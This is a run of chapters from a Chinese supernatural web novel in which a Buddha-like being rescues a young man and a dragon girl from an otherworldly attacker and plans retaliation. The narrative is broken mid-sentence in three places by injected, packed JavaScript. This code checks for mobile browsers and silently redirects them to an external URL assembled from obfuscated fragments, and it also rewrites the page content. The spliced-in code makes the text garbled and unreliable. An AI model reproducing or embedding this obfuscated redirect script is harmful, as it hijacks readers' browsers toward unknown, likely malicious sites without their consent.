施霜景连滚带爬地抓起蒋念琅起身,他伸手护着自己的脑袋和蒋念琅的脑袋,想回场边,他不知道蒋念琅看见了什么,可听蒋念琅的语气,她一定看见了很恐怖的场景,就连她这样的大心脏都不能接受。 如果庄晓在场,他会将脸贴在冰面上,仔细地辨认那些摔打扭曲却保存完好的人,或许在某个事件视界中,这些人都还拥有生命,都还活着。那是纪复森的藏品,那些试图调查清楚的人,不论你叫他调查员、作家、记者还是任何什么职业,这位来自印斯茅斯,那位是十九世纪敦威治的大学生,瘦的是苏州河畔自证清白的僧侣,胖的是华盛顿广场的政府死亡屋高帽守卫。你可以随意称呼祂,大祂,那东西,鬣狗,送葬人,或者是庄晓认识他时,祂使用的那个名字。纪复森,不论接近他还是被他接近,都是上天下达了死召。纪复森,既收藏神,也收藏见证者。比见证者更低一级的是信徒,流放进远星的旧城,令其为游魂,令其为释放恐怖的信号,令其为肥料、养分和炭土。 但纪复森本人也很顽劣。他出现像一场玩闹,离开像剧终散场。庄晓太了解纪复森了,至少他知道冰下的调查者尸海只是前菜。施霜景和蒋念琅应该害怕的是这狂风。施霜景已经无法呼吸了,风呼啸到一定地步,空气根本不会流入他的肺部。蒋念琅的情况也很糟糕,但蒋念琅可以窝在施霜景的怀中,脸藏在施霜景羽绒服里撑起的小空间里。 突然间,空中密密麻麻涌出如虫又比虫更坚硬百倍的细微之物,随着狂风而四散。还未等施霜景看清,这些铁物竟然硬生生止住其凶杀之意,悉数坠落。铁器落在地上敲出冰雹声响,狂风骤停,只剩一地狼藉。 施霜景喉咙一痒。 蒋念琅尖叫起来,施霜景低头,他觉得颈侧湿湿的。蒋念琅努力伸长手,压在施霜景的脖侧,施霜景自己伸手按了按,摸到了一道裂口。血从指缝中喷涌而出。那枚沾血的钵特摩遭龙女弹开,无意间落在冰场之上,一场巨火轰然而至。 这些莲花法器按罗爱曜的指示,杀灭风洞中一切生命,如今遭人引至此处,识别出了佛子像也识别出了佛子宝珠,活生生停下来,但还是有一道风洞恰好无误地开在施霜景颈侧,祭出的当下就是报复的完成。 失血,头晕,后知后觉的疼痛,但施霜景还是无声地安慰蒋念琅。会没事的。他知道佛子和小鼓的父母很快就会来的,虽然不知道这个很快有多快。虽然他不知道为什么需要佛子的时候,佛子总是不在也不来。罗爱曜不是很神通广大吗? “呼……呜呜……小景哥,我治不了……不,我……我努力……”蒋念琅双手沾血,她是具有治愈能力的龙,但她治不了佛子法器施加的伤,如果能加速造血就好……总之蒋念琅拼尽全力了。 有蒋念琅的帮忙,即便失血,施霜景还能勉强走几步。冰场燃烧了起来,这是多荒谬的场景,火焰中仿佛能见到人类肢体的狂舞、扭动,施霜景知道他失血出现幻觉了。他不知道这火会不会蔓延。冰场周遭依旧不能去。还能往哪儿去?只能去安全出口了吗? 巨火愈升愈高,如一道火柱,猛地贯天。 灯光忽然全开,光明燃起。施霜景忽然撞进一个怀里,蒋念琅的哭声大作。 施霜景还压着自己的颈侧,另一只手则是压在他的手上,施霜景使劲将自己的手抽出来,发现并没有沾血。这时他才抬头,第一次见到脸色这么难看的罗爱曜。 罗爱曜气疯了。 他没有迟来,施霜景和蒋念琅失去联系的那一刻罗爱曜就感觉到了,一行人赶来商场,却找不到人。施霜景和蒋念琅被藏起来了。施霜景摸到佛子报身金像时,罗爱曜终于有所凭依,造出虚像,将施霜景的真身藏进他的虚空境界中,他不知道这么做是否可行,只能试试看。蒋念琅是龙,罗爱曜无法造出最相似的虚像,也担心替换之后引起那家伙的警觉并升级事态,罗爱曜只能为蒋念琅加诸正法,强加平安的果报。施霜景的感官体验皆是投映而出,不是真实发生,但要作伪装就得做到最像。郎放与蒋良霖去追截犯罪凶手,否则就只能等凶手的把戏露出马脚。 罗爱曜就这样目睹着自己的莲花法器割开施霜景的喉咙,读到施霜景在心中问他为什么不来。眼看施霜景濒死了还要带着小龙一起逃,钵特摩的红莲火光冲破障法,罗爱曜立刻将两人带出,结束了施霜景的幻象。 68.旧日幸存者篇(二十) 蒋念琅哭得那叫一个伤心,像是在商场里找不到父母的小孩,静止的时间缓缓流淌起来。滑冰场的员工看见小女孩大哭,看见带女孩儿来玩的男人和另一个男人动作暧昧,甚至近似调情,员工赶紧从前台出来,场中的情侣也迈着笨拙的步伐离开冰场。 员工要问蒋念琅话,蒋念琅突然扑到施霜景身后,抓住他衣服,嘴上说:“我们是一起的……呜呜,小景哥……” “孩子的家长马上就到。我们是一起的。”罗爱曜佯装镇定,向员工解释。 施霜景舌根发麻,俨然是说不出话了。罗爱曜的手离开施霜景颈侧,转而抓住他左手手腕,生怕他跑了似的。施霜景又反手拍了拍蒋念琅的肩膀,表示自己没事。大概等了两三分钟,安全通道的双开门“砰”地一声被推开,蒋良霖大步跑过来,抱起蒋念琅,郎放跟在他身后,边走边警惕地环视商场。 这一行五个人,元旦的氛围全被毁掉。施霜景都忘了他是怎么跟着罗爱曜回到饭店停车场,大家都上罗爱曜的车,但开车的人是蒋良霖,罗爱曜坐副驾驶,郎放、施霜景和蒋念琅坐后排。 一路上众人对话不多,蒋念琅受了惊吓,很不舒服,回饭店的时候还在卫生间里吐了。这会儿坐车回家,她夹在郎放和施霜景中间,似乎有些晕车,郎放就让她躺下,头枕着郎放的大腿,小腿则虚搭在施霜景腿上。施霜景盯着反光的窗户,他的脖子上没有伤口,是罗爱曜又瞬间治愈他了么?就跟被吕宏图捅了二十多刀那次一样? 回到励光厂,施霜景惊异地发现,自家的灯竟然亮着。他赶紧上楼打开门,发现家中一片狼藉,桌椅沙发都被掀翻、毁坏了,施霜景从脚后跟凉到天灵盖,大喊着玉米的名字。罗爱曜说玉米没事,走到家中佛龛底下,香炉已经落了地,施霜景发现玉米深深地缩在佛龛里侧,从没见过他把自己的体型压缩到这么小,佛子的铜鎏金佛像挡在前,玉米藏在黑暗里,可怜得无以复加。 所有人的脸色都很难看。罗爱曜面若平静,可就连他呼与吸的轻微反应里都透出一种失控的恐怖。施霜景第一次见到罗爱曜当面施咒复原了家庭陈设,一切恢复如常,灯光微黄,家具微旧,地板却光亮如新,与施霜景早上出门前拖过的地一模一样。这一施咒场景本来应该很不真实,可对比起滑冰场的遭遇,这已经算很真实了。 “你们去收拾东西,今晚不能留在这里。”罗爱曜朝那一家三口说,“跟我的车,去F酒店,趁施霜景和蒋念琅还记得事情的细节——他们只负责说,说完了就可以休息,剩下的交给我。” “我们。是交给我们。为什么你家像是进贼了,我家就没事?”蒋良霖说。 “这是显而易见的事。因为你们不是目标,因为你家里没有可供它行事的通道。二十分钟后楼下见。” 蒋良霖他们走后,房门关上。施霜景抱着猫,面色复杂,罗爱曜看他毫无动作,严厉道:“愣着干什么?去打包你和玉米的东西。” “我怕玉米应激生病。你能不能帮它检查一下?”施霜景微微转身,罗爱曜这才看见玉米的爪子扎破了施霜景的外套,几乎抠进他手臂的肉里。罗爱曜伸手接过猫,施霜景稍稍松一口气,赶紧去收拾东西。 要带什么衣服吗?睡衣、贴身衣物、日常换洗的衣服。牙刷、牙膏、毛巾。别的……手机充电器、电子设备、身份证件,课本什么的如果还剩下时间再打包。装玉米的猫包,幸好上次的猫砂盆已经清洗过而且晾干了,带猫粮、罐头、猫砂……还有什么?施霜景急得淌汗,收着收着忽然有种想哭的冲动。最可怜的竟然是玉米,不知道它在家里都经历了什么。怎么会这样?到底发生了什么事? 待施霜景打包好东西回到客厅,整个房子忽然感觉不一样了。罗爱曜单手抱猫,玉米已经平静了下来,窝在罗爱曜怀里。施霜景眨眼间总是好像能看见室内灯光与墙面不复表面的家居样式,模模糊糊的红柱、黑墙、金色墙饰,想半天没有想明白,是坐上去酒店的车才意识到,眨眼间一闪而过的是宝殿陈设,哪里还是寻常民居。 虽然已是半夜,蒋念琅的精神头好转了许多,这回去酒店的车里,施霜景和蒋念琅才在对话中慢慢交代了刚才发生的所有事,主要是融化的视野、那个外国人、冰下裸尸以及针对施霜景的袭击。 罗爱曜开车,时不时望向后视镜,他问:“它没向你们搭过话?” “绝对没有。”蒋念琅说,“他根本不理人的!” 施霜景坐副驾驶,装着玉米的猫包放在他脚边。他的恐龙反应神经又到现在才缓缓反刍上恐惧与惊惶,双手控制不住地轻微颤抖,坐立难安。 “我知道了。你们都很勇敢。干得好。”罗爱曜百年难得一见地给予夸奖,然后话锋一转,“蒋良霖,我知道那个沙漏装置是什么。今天我突然得到了很多线索,不过不是因为小景和龙女被袭击。谭鸿信提到的那个庄晓,他今天来找到我,我听说了一些事,于我是闻所未闻,也可能是我深居简出、不常入世的缘故。我们回酒店商量。” “我感觉这个家伙压根不想见到我和郎放……或者说,是不关心、不在乎?它到底是什么东西?”蒋良霖的腿上架着打开的笔记本电脑,“上次你从地铁站回来我就想知道这种时间和空间的异常究竟是怎么一回事。探测这样微弱的引力波效应非常困难,包括我们说的时空扰乱……就是时间和空间匹配不上,你明明处于今年今日,但忽然进入了三年前或者五年前的时空,或者你干脆就是顺着这样时间逆流的时空一路往下走,像佛子在地铁站里进入的地铁空间那样。会发生在你我身上的这类事件,测量尺度都非常非常小,现有仪器的精度和准确度都没有办法直接探测。但换句话说,如果我们能从这样的微观尺度上获得一些证据,未来说不定能开发出非常有趣的东西,用来观测高于粒子尺度的量子隧穿现象之类的……或者再反推回来,这一结论还有助于了解像佛子、像小鼓、像我和郎放这样的存在到底是什么,这说不定能解释奇异能力的产生,不论是感应类的能力还是能改变实际现实的能力。国内前几年搭建了自己的LIGO,这些地球内的时空干扰波动可能会被归入到量子噪声中,他们可能一辈子都不会知道这些噪声中有属于异类的信号。” 罗爱曜竟然没有打断蒋良霖,蒋良霖说着说着就继续沉默下来,有两种动脑的氛围在车里蔓延开来,仿佛能幻听出动脑与动脑相互碰撞的哐啷动静。 这种抽丝剥茧的思索仿佛能消解掉对于未知的恐惧。玉米偶尔在猫包里发出微弱的猫叫。景色从城郊回到城中心,罗爱曜说了F酒店与他的关系,边说边用余光确认施霜景还醒着:“四十二层的角房天花板埋有一张巨型的羊皮唐卡,以我为主佛,我常在此显灵。我非藏传,但不代表没有藏人信仰我。我的信徒众多,以地区和家族为划分,分不同时段来F酒店拜我。有些每年都来,有些隔三年、五年来一次。这里是绝对安全的地方。” 那你就这样印在小卡片上?施霜景在心里瞪大眼睛。 这就跟施霜景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拉开猫包拉链,玉米还需要适应一阵子才敢出来,施霜景起身脱外套。罗爱曜又说:“你今晚好像话很少?怎么,吓到了?” “我刚才在车里说了很多话啊,讲滑冰场发生的事。”施霜景道。 “你没有回答后一个问题。” “有点。睡一觉应该就好了。”施霜景说,“我们忘记拿打包的菜了,很可惜。” “别惦记那点剩菜了。你先去洗澡。” 施霜景马上又想起他发消息给罗爱曜的那一幕,当晚他做了惊梦,醒来好想试一试五星级酒店的浴室,得到罗爱曜允许之后洗了个极致舒服的澡。施霜景的心情好复杂。 在滑冰场时,罗爱曜不是没来,而是早来了。就像施霜景当初去大慈寺求佛,佛不是没来,而是塞了小卡片给他。可施霜景明明是个什么都不是的人,是一行人里唯一的人类。施霜景莫名其妙有种很抱歉的心态,不是因为受了威胁而不安全,而是觉得这大费周章的,转移他这个人类和玉米这只猫咪,他的恐龙神经反应了两个月突然反应出三个字:为什么? 酒店是包养者和被包养者的故事发生地。但如果施霜景拿到爱,他还应该拿到钱吗?他不能贪心到两个都想要。好吧,不能自作主张认为这是爱。关心。如果施霜景拿到关心,他还应该拿到钱吗?这种突然患得患失的感觉是从何而来?施霜景的心忽然就从四十二层落了下去,可低头一摸心还在原地。 罗爱曜在浴室门外准确无误地读到施霜景现在的想法。这想法湿漉漉的,像带着雨、汗水或是眼泪。罗爱曜不明白施霜景在难过什么。罗爱曜不明白爱与关心,只明白欲与满足。施霜景觉得是什么就是什么,不是什么则不是什么。是施霜景的自尊吗?可能有点吧。罗爱曜仔细一想,还是无动于衷。他在乎的是自己对施霜景作出的种种反应,这些反应让他前所未有地体验了一种全新的生活。 只是施霜景在心里湿漉漉地下冻雨,连累了罗爱曜。罗爱曜很想叫他雨停,如有必要,他还是得为其撑一把伞。 69.旧日幸存者篇(二十一) 玉米今天受了大惊吓,即便施霜景为它准备好了食粮、水和猫砂,用的都是它在家最常用的那套用具,玉米还是直到第二天天亮才终于愿意出来,赏脸吃两口已经氧化的湿润罐头。 施霜景一夜没怎么睡好,浑身很热,像把他送进窑里上下左右地烤一般,闭上眼睛原本应该漆黑一片的视野透着一层不祥的蓝。这一挨就挨到天亮。施霜景去浴室,澄黄顶灯照下来,其实什么也看不清楚,但他摸到自己后肩和腰腹的地方手感很粗糙,大片大片都是凹凸不平的,可能是起了疹子。施霜景双手撑着大理石洗手台,发懵一阵,摇了摇头,久远的记忆复苏——他这应该是起荨麻疹了。 现在是早上七点过,施霜景看见自己起疹子,这才缓缓觉得浑身发痒,肯定不舒服,他就打算换衣服去买药。罗爱曜前夜睡眠也不好,被施霜景窸窸窣窣的动静吵醒,没好气地问道:“你换衣服要干什么?还敢一个人出门?” “不知道为什么,我身上起疹子。我想去买点药,可是这个点药店还没开门。” 施霜景从浴室出来,看见罗爱曜倚着床头,是醒了但还不打算起床。 “哪里长疹子?” 施霜景老实地掀衣服,风团上横竖都是粉红的抓痕,遍布胸腹,施霜景刚刚新鲜挠的。罗爱曜勾手,再让施霜景靠近,靠得非常近,然后罗爱曜边抚摸边顺手替施霜景治了。 “长得这么结实,一天到晚小病不断。”罗爱曜嘲讽说,“还有别的毛病吗?” “……没了。” 施霜景到底是个闷葫芦。大部分时间里,可以不说的话他都选择不说,说了会引起后续谈话的话也都不说。聊天可以,但聊多少次天都会让他感到焦虑,只是焦虑的程度轻或重罢了。 身上连疹子带抓痕都消失不见,施霜景低头盯了半晌,他已经过了会觉得罗爱曜的能力神奇的阶段。玉米蜷缩在角落里舔毛,可能因为焦虑吧,它把尾巴舔得湿湿的,施霜景靠近,玉米就警惕地停住舌头。施霜景就不伸手摸猫了,让玉米再调整调整比较好。 昨晚施霜景和罗爱曜没□□。 明明是酒店,包养和被包养的背景,可他们不仅没□□,晚上还抱在一起睡觉。准确地说,是施霜景抱着罗爱曜睡觉。施霜景醒来自己都吓了一大跳,这也是他慌不迭就去浴室的原因之一。施霜景不像罗爱曜那样,用性骚扰的方式抱人睡觉。施霜景就只是搂着罗爱曜的手臂睡,人靠过去,脸埋进去,他小时候经常这样抱着爸爸的手。今天施霜景总是想起从前。 施霜景小时候不算是特别健康的孩子。父母都因癌症过世,不知道基因方面有没有问题。大概四岁多的时候,施霜景就有整夜因为荨麻疹而睡不着觉的经历,施楼庭一个晚上起来帮他涂两次炉甘石洗剂止痒。施楼庭死了之后,施霜景被远方表姑带回农村,也是冬天,身上起疹子,这回没人替他处理了,施霜景只能硬扛,痒得受不了了就用冷毛巾搓一搓。进福利院以后,刘茜带他去看病、开药,如果有起疹子的兆头,刘茜就给施霜景喂过敏药,也很有用。随着年纪渐长,大概十岁以后,大抵是因为免疫功能发育跟上了,施霜景便不再怎么起荨麻疹。 “佛子,不然你以后还是别给我打钱了。”思来想去,施霜景还是挤出了这句话,他约计自己就是因为在想这事儿才没睡好,“我不愿意想我自己是为了钱才跟你做。” “为了钱?你不是为了提高智商和考试成绩吗?”罗爱曜反倒很无所谓,“这点钱不算钱。你今后不上学、生活了吗?正常人应该都会多要点吧?” “那我就是不正常。” “你不想‘卖身’。我能读出来。”罗爱曜饶有兴趣地欣赏施霜景的脆弱,说出这句,施霜景的气场就更冷下两度,罗爱曜拖了个心满意足的长节奏,才继续道,“我习惯用金钱估量一个人的剩余价值,你曾经浑身血肉加这条性命也才只值一万。从我破戒救你那次起,你的剩余价值因为我对你的关注而升值。我给你钱只是做个记录,记录我在你身上投了多少关注。我不在乎钱,这只是将数字从我的账户挪到你的账户,你的账户是一张白纸,作记账用。我不喜欢稀里糊涂、无法估算的东西。” 施霜景想起罗爱曜账户上那天价的数字了。那代表罗爱曜的总关注度吗?那这六十万其实……占比真的不大。“你会找我要回这笔钱吗?”施霜景问。 “当然不会。” “如果你关注我,你还会继续给我打钱?” “看我心情。” “不用上床?” “要上床。”罗爱曜说,“别的也要。维持现状就好。你要干嘛?” “不干嘛……谢谢佛子。”此时玉米竟然悄悄走过来,蹭了蹭施霜景的小腿,施霜景坐在床沿,俯身摸玉米的脑袋,并说,“不管你对别人怎么样,你对我来说是个好人。” 罗爱曜不置可否。 一顿酒店早茶,施霜景的心情终于多云转晴。 罗爱曜今天吃饭极其挑口,餐食全只是浅尝一口就剩在盘中,施霜景本能地杜绝浪费,收尾的时候就把全桌扫荡了。明明是罗爱曜这人口味清淡才早上吃茶点,可不论清淡还是荤腥,他都这幅样子。施霜景看罗爱曜点菜纯粹是点着好玩。这次有罗爱曜提醒他别吃太饱,别一顿撑到晚上去。施霜景扫着一桌大笼小笼,吃麻了。 “这几日如果你有任何的身体不适,都要像早上那样告诉我。”罗爱曜冷不丁来了一句。 施霜景敷衍地点头,他真的快吃不下了,但红米肠真好吃啊。 罗爱曜昨天将施霜景的肉身拖进他自己的虚空境界里,那是他琉璃法身的放置之处。过去其他人类进入这里,统统只是为了一个死字,都是那些献祭的信徒被他法身吞吃的前序。罗爱曜想,施霜景的肉身进出了他的境界,本来就是违规,而且罗爱曜还等比例复制过施霜景的幻象,在施霜景逃出生天之后,幻象与本体合二为一。这过程会不会带来后遗症,罗爱曜不清楚,只能时时观察了。 蒋良霖一家到下午才施施然出现,蒋良霖夹了一卷彩打的图纸来,摊开才发现是非常详尽的地图。 “S省有两个蒋家地宫,我都标注在地图上了,如果你让小鼓做护法,这两个地宫可以出借给你做藏经地与藏宝阁。除此之外,你看到橙色的标记了吗?这是郎放原本打算走访的剩余地点,就是有关感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497977|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应沙漏装置的地点。郎放做梦梦见它们,然后他做标记,准备一个个排查过去。如果他没有被拖住的话,他已经摸排过这些全部的地点了。可事实上那沙漏装置除了把你引去升仙湖那回,最近再也没有入过郎放的梦。我不确定这装置与昨天那人的关系如何,但我真想杀了他。欺软怕硬的东西。” 四个大人,小女孩没出现,因为小女孩化龙缠在妈妈的腰上,心情太差,以至于不想见人了。施霜景好奇得要命,是龙啊!郎放就轻轻掀起一点衣服,那流光溢彩的细鳞就让施霜景看呆了,再看见小龙的脑袋……真的是龙啊。真的是龙。怎么看都是龙。果然是龙! 罗爱曜没有立即收下地图,反而以手指圣母领报修院的坐标,昨天才去过,今天就已经觉得非常疏远了,是心理上的故意而为之。罗爱曜说:“我上次在地铁深陷九天,找到了一块残碑,那残碑明显可以影响我的心情,但不能随意、随地破坏它,因为人类只会比我更容易受影响。所以我去找了残碑的出处,发现它来自圣母领报修院,并且推理出地铁站里发生的事——有不祥之活物与人类行不正当关系,人类为了保存这种邪恶,试图用圣母院的残碑达成目的。不论地铁里的不祥活物还是人类试图保存的这种‘邪恶’,最终都消亡了。有我的加速,但主要还是敌不过另一推手的影响。” “我去圣母院破坏残碑,是因为在它们的来处毁灭这些秽物最省事。那个叫庄晓的人不知道怎么赶来的,迫切想要这残碑,甚至是圣母院中大块的残碑,为了复原他想保存的‘邪恶’。说来奇怪,我不明白为什么不论你,蒋良霖,还是它,庄晓意指的那个东西,你们都不是人类,却都那么热衷繁殖。” “喔,喔,喔,不可以这么说哦,罗爱曜,你越界了。”蒋良霖半开玩笑半强硬地打断他,“我和郎放在一起的时候,我们都还是人类。我家小孩还在这里,你休想让我们否定她存在的必要性。” “我想说的重点是,秽物、异星来客、怪异存在——这些东西,它们也渴望繁殖。我想不明白它们为什么不找同类,而是非要找人类。总之庄晓就是与那种东西在一起了,还有了后代。圣母院残碑来自第三种怪奇。第一种怪奇是我提及的地铁之物,第二种是庄晓的孽缘,第三种则是圣母院中暗自侍奉的‘地脉圣母’。庄晓认为,‘地脉圣母’也已经消亡了,但残碑可以帮助他的后代造出一具躯体,可以让其自在地生活在人类世界。” “我想,滑冰场的那东西应是庄晓的孽缘,种种机缘巧合之下,我追杀过它。我不知道它是如何做到的,但它在我家开过一个连接非常复杂的风洞,郎放曾经往里面投过纸条,我们都以为是自然形成。我意识到这个风洞有异常,就往风洞中投了三回法器,前两回都不得其法,第三回终于是找到了些苗头。那东西为我接触庄晓和投放法器这两件事而报复我,同时也是看上了龙女的资质,这才在昨天突然出现,借我的法器对他们下手。至于龙女的资质——它吞噬一切虚弱的异常。似乎不论是来自这一星球还是远星,只要具有造成信仰的能力,都可以成为它的食物。龙女如果成为我的护法,也将拥有她的信徒,现在还处于前置阶段,最适合它狩猎。” 70.旧日幸存者篇(二十二) 介绍那么多,活像是罗爱曜在上课。无人应答,罗爱曜忽然敲敲地图,彩纸扑拉作响。“它把人当奴隶,把弱神当食物。”罗爱曜一句话总结。 “然而它们同时又和奴隶生孩子?”蒋良霖费解,觉得这东西的行事作风好抽象。 “人类有时候很神奇,也有潜力。人的想法也很多。人是某种前置阶段。”罗爱曜说,“你们怎么看?是打算换个地方假装无事发生,还是冤冤相报?我已经清算不出事情的开头到底是什么,是你去追那沙漏装置还是我真的进入地铁站深处。但它出现在我计划招揽鼓龙的期间,看来与我有关,那我就必须得争了。” 罗爱曜一直气性大,只是寻常没有什么事件去引出他这面,实际他性格非常追根究底、不依不饶,甚至好斗。就凭莲花法器能被三次投放,就知道罗爱曜这人不行动则已,一行动就必须有个明白结果。他才是冤冤相报何时了。 蒋良霖说:“你提到那位庄晓,我突然想起昨天吃饭的两位警官,这个庄晓应该也有点东西吧,不然怎么会手握这么多失踪人口证件,同室失踪犯人应该也是他干的。嗯……你不会已经把他带过来了吧?关在某个你的随身空间什么的?” 罗爱曜:“……” “那你帮庄晓找残碑了吗?”施霜景开口。 “我把他锁进圣母院的地脉圣母残骸里了。”罗爱曜说。 施霜景:“……” “他自愿,而且请我设障,防止那东西探知,是便宜他了。”罗爱曜耸耸肩,“如非必要,我不打算让他与你们见面。这些信徒已不能算是人类,处于半疯半痴边缘,大部分信徒还与他们所信仰的异神共脑。你们昨日碰见的‘外国人’叫纪复森,是那东西的人类形态,据说他的人类身份在黑市地下运营拍卖生意,我猜想郎放之前那些作品已是转手被他收回了。那些梦可能是它故意设下,一步步引你们过来,但不知道它的目标究竟是龙女还是你们全家。庄晓与纪复森不共戴天,从他那儿倒是可以透露许多情报。我没答应他别的,只是残碑而已。” 蒋良霖听下来,只觉得罗爱曜出现得真是时候:“你需要蒋念琅帮忙,我们因隐隐受到威胁而出现于此——所以为了合作,你接下我们的要求……那你可千万不要放过纪复森!”蒋良霖露出“这一切都是那么的刚好”的表情,对味了,这竟然真是因果。 罗爱曜:“要我提醒你么,其实我吃人也吃神。我只是不需要吃它们来维生,纯粹是喜好。” “我才不管你怎么吃。人吃人都不奇怪,更何况你这样的存在。”蒋良霖说。 郎放再一次出来结束二人的口头争执,“我还是想见见庄晓。”郎放深知罗爱曜没有耐心转述所有信息,罗爱曜与蒋良霖都是喜欢跳步骤的人,不论说话还是做事。要想真正地知晓事件全貌,恐怕还是得靠郎放这种耐性十足的人去作一手接触。 “我已指了圣母院坐标,你们可以去看看,郎放可以找见那条路,我使用的是金刚轮密阵。今天我要带施霜景去别处,我们就分头行事吧。” 罗爱曜一把拎起施霜景,后者完全不知道今天还要出门,以为今天就是留给他和玉米收惊的呢。蒋良霖再要了一杯咖啡,七年多了,他还是那个被事情追着屁股咬的社会人,郎放面色淡定,指不定心里怎么摩拳擦掌呢。还是早点解决这事吧,蒋良霖真的不想再被郎放的画作或是雕像惊出后背冷汗了。 “那你说什么‘我不打算让他与你们见面’?!‘们’字在哪里?”蒋良霖如梦方醒。明明只是不想让庄晓见施霜景。 罗爱曜轻巧地绕过这质问,给到提醒:“对了,见到庄晓的时候,不要演你们一家三口其乐融融的戏码,小心被他记恨。”说完他便带着施霜景离开,他们现在其实聚在蒋良霖的房间里。 蒋良霖苦着脸酗咖啡,郎放看出他不想去,亲和道:“你在这里照看小鼓?我自己去。” 蒋良霖赶紧抬手让郎放停嘴,“请不要这样诛我的心。我肯定要跟你一起去的。我在想,我们过去没找到的许多钟山神,是不是也是让纪复森这样的东西吃了?为什么我们之前没有发现?” “一起去看看吧。佛子其实也算得上恶神,我已应付过了。小鼓和小景都说纪复森是外国人,我对西方流派不甚了解,庄晓如果了解他,那我们就去问庄晓。”郎放隔着衣服捏捏小龙的脑袋,低声嘱咐她,让她就这么盘好,不要乱跑。两个男人带一个女孩,傻子都知道要朝女孩下手,不能把蒋念琅暴露在不安全的环境里。 “这么说不大好,可幸亏昨天小景和小鼓在一起。只有小鼓的话,我不确定罗爱曜真会上心救人。”蒋良霖起身,“也幸亏小景遭了报复,否则罗爱曜现在估计就退出了,只会觉得无聊和事不关己。我看他现在报复的心思可比我们重得多,毕竟他对自己的能力更自信。” 昨天蒋良霖和郎放从商场的安全通道追进去,郎放专司神鬼巫术,这种带有异质色彩的凶险情形颇让郎放束手无策,就连罗爱曜也得找到切入点才能施以咒法。郎放的阴阳眼与蒋念琅的龙目差不多,都遭遇了视野融化,安全通道是唯一稳固的地方,郎放看进去,无鬼无魂,一片干干净净,这就更是异常。 既然蒋念琅是龙,那她父母中必然有一方同是龙,在这方面她是随了蒋良霖。蒋良霖的故事说来复杂又话长,只用知晓他现在是半条龙即可。反正他是最活在当下的人,还把自己当纯粹的社畜。 蒋良霖的逆鳞嵌在蒋念琅的神魂中,他知道蒋念琅暂时还没事,而且他能感觉到他与自己的逆鳞相距甚远,说明他们看起来是在一个空间中,但其实中间距离根本无法估量。蒋良霖与郎放一致决定先追踪始作俑者,一路顺阶梯往下,本来滑冰场就在B2层,安全通道的楼梯无止尽地往下铺设。蒋良霖感知到蒋念琅没有化龙,这小姑娘其实平时非常冲动,不化龙肯定有她的原因,蒋良霖就也只能沉住气,不使用他的龙态。愈往下走,感觉愈奇怪,有种脱离地球的感觉,仿佛重力条件缓慢发生改变,精神也受影响。走到某一阶,蒋良霖忽然拉住郎放,不能再往下了。 郎放想留标记,蒋良霖不让,他感受到某种非常阴险的氛围,毒蛇吐引信一般,令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497978|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一阵一阵地后背发寒。或许此刻假装自己只是个普通人更好?正在这时,蒋良霖忽然感觉到他与蒋念琅的距离近了很多很多。蒋良霖只好拉郎放回去,一路上感觉阶梯愈来愈软,像水泥融化,蒋良霖没法,只好谨慎地释放自己的龙息。 他是龙在这个世上的投影,是一条半死的龙,如今所做的一切都只是借着龙这个概念而驱使灵力,就显得更没有章法。不同于蒋念琅那晶莹剔透的龙气,蒋良霖的龙息更像是烛阴焚毁天地所剩的灰尘,而这样的龙息其实与熵减过程有关,帮助稳定混乱环境。这般调整之下,二人很快回到出口处,还没推开门就已听见蒋念琅的哭声。 回忆结束。 今日要去圣母领报修院,蒋良霖去最近的车行租了一辆车,与郎放二人驾车前往。现在仍是元旦假期,但看守已经返工。蒋良霖和郎放到底是更像活人的活人,罗爱曜可以进出圣母院无碍,蒋良霖和郎放却不能。他们为了避开看守,是从领报修院的后山潜入的。蒋良霖这么一个天天坐办公室的精英,和郎放在一起这么多年,终于是习惯了和郎放一起做野人,这真是没办法。 “佛子说他用了金刚轮密阵,幸好我前世是沃燋本体。我们有照应之法。” 总之郎放确实是找到了罗爱曜的密阵,湿漉漉下过雨的领报修院在几息之间轰然崩塌,俨然成了一座废墟,这废墟是百年前的领报修院,在这一时空中才有可能找到地脉圣母的残碑,庄晓也是被关在了这里。 圣母院已是塌了个完全,房梁与柱子东倒西歪,堪堪撑起几面碎墙。令人感到惊异的是,圣母院虽然塌了,其内部却是一点没有见光,是从比较宽阔的规模坍塌成了更为紧凑的结构,院门敞开着,内里漆黑一片,是光所不能至之处。 大概是罗爱曜远程也能控制他的密阵,郎放和蒋良霖毫无阻碍地进入圣母院。这密阵其实完全是笼罩在圣母院原本的结构上,覆盖了每个角落。残砖乱瓦所搭成的小型圣母院只能看见中间一条主道,通往圣母像。圣母像已被砸得面目全非,基石上只剩一圈长裙裙摆与赤足。基石背后有一条下沉的坡道,地上有血一般的痕迹。蒋良霖脑袋中冒出一个无端联想,觉得很像是圣母自断了双足,翻身爬进了这下沉坡道,直进黑暗。 又是下坡。就连郎放都忍不住吐槽道:“这些东西难道是从地心爬出来的吗?所以一有事就要回地下去?” “就是啊,我们地府出来的都也只是修修地宫而已。”蒋良霖自嘲。这一下就把自己拉回了非人类层面去。 